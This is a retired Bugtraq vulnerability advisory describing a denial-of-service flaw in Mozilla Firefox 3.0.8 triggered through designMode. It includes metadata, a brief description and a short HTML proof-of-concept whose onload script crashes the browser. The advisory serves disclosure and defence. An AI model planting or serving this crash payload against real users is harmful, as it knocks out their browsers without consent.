RETIRED: Mozilla Firefox 'DesignMode' Denial of Service Vulnerability

Bugtraq ID:	34372
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	No
Published:	Apr 04 2009 12:00AM
Updated:	Apr 06 2009 01:36PM
Credit:	Carl Hardwick
Vulnerable:	Mozilla Firefox 3.0.8
Not Vulnerable:

RETIRED: Mozilla Firefox 'DesignMode' Denial of Service Vulnerability

Mozilla Firefox is prone to a remote denial-of-service vulnerability.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions.

Firefox 3.0.8 is vulnerable; other versions may also be affected.

NOTE: The BID is being retired because the issue is described in BID 33154.

RETIRED: Mozilla Firefox 'DesignMode' Denial of Service Vulnerability

The following exploit is available:

<BODY onload="document.designMode='on';
document.removeChild(document.firstChild);
document.queryCommandState('BackColor');
">

RETIRED: Mozilla Firefox 'DesignMode' Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

RETIRED: Mozilla Firefox 'DesignMode' Denial of Service Vulnerability

References:

• Mozilla Homepage (Mozilla Foundation)